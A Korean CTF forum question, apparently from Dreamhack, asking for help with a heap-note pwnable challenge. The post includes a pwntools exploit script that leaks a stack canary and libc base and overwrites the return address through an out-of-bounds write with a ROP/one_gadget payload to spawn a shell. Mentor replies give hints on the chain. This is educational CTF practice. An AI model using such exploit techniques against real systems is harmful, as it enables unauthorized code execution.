완료됨
마지막 익스플로잇 관련 질문

안녕하세요. 현재 취약점을 발견한 뒤로 익스플로잇을 계속 시도 중입니다.
.
.
.
근데, 뒤에 ROP 가젯 넣을 공간이 24바이트 밖에 없고, 이 공간만으로는 system("/bin/sh")를 실행시키기엔 부족한 공간이라서 계속 원가젯을 넣어보면서 시도 중인데요, 조건이 조건인지라 원가젯 조건에 부합하는 상황을 찾기가 쉽지 않습니다.

저는

  1. read note를 이용해서 libc leak
  2. update note에서 out of bound 취약점이 발생한다는 점을 이용해서 RAO 가능, 리턴 주소 덮어써서 공격
  3. 쉘 획득

이 순서로 익스플로잇 하려고 아래와 같이 코드를 짰습니다.

궁금한 점은,

  1. 이 공격 방법이 맞는지
  2. 맞다면, 여기서 원가젯으로 계속 해야 하는지, 아니면 system("/bin/sh")를 일으킬 다른 방법이 있는지
    2-1. 아니라면, 또 다른 취약점을 이용해야 하는 것인지

이렇게 질문을 드리고 싶습니다. 코드도 같이 첨부해서 질문드립니다! 감사합니다.

from pwn import *

binary = './prob'
libc_path = './libc.so.6'
ld_path = './ld-linux-x86-64.so.2'
l = ELF('./libc.so.6')
p = process([ld_path, binary], env={'LD_PRELOAD' : './libc.so.6'}, stdin=PTY, stdout=PTY)
#p = remote('host3.dreamhack.games', 12068)
def create(size, content):
    p.sendlineafter('> ', str(1))
    p.sendlineafter(': ', str(size))
    p.sendlineafter(': ', content)

def read(idx):
    p.sendlineafter('> ', str(2))
    p.sendlineafter(': ', str(idx))

def update(idx, size, content):
    p.sendlineafter('> ', str(3))
    p.sendlineafter(': ', str(idx))
    p.sendlineafter(': ', str(size))
    p.sendlineafter(': ', content)

def delete(idx):
    p.sendlineafter('> ', str(4))
    p.sendlineafter(': ', str(idx))

p.sendlineafter('> ', str(1))
p.sendlineafter(': ', str(1000))
read(0)
p.recvn(0x1e0)
canary = u64(p.recvn(8))
p.recvn(8)
#libc + canary leak
libc = u64(p.recvn(8)) - 0x2a1ca
one_gadget = libc + 0x583d5
binsh = libc + 0x1cb42f
pop_rdi = libc + 0x10f75b
pop_rax = libc + 0x66b9a
ret = libc + 0x2882f
system = libc + l.symbols['system']
print(hex(canary))
print(hex(libc))
delete(-1)
pause()
# exploit
update(-2, 40, b'\x00'*8 + p64(canary) + p64(pop_rax) + p64(0) + p64(one_gadget))
p.interactive()
#pwnable
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 3
avatar
wyv3rn
무플 방지 위원회장
avatar
wyv3rn
무플 방지 위원회장

꼭 ret 만으로 스택 얼라인을 맞추실 필요 없습니다 :)
더불어 더 크게 쓸 수 있습니다.

2025.06.29. 22:27
avatar
wyv3rn
무플 방지 위원회장
avatar
wyv3rn
무플 방지 위원회장

말 그대로 system(binsh) 하시면 되지 않을까요?!

2025.06.29. 19:42
avatar
wyv3rn
무플 방지 위원회장
avatar
wyv3rn
무플 방지 위원회장

답변 상 혼선을 줄 수 있어 삭제하였습니다.

2025.06.29. 20:10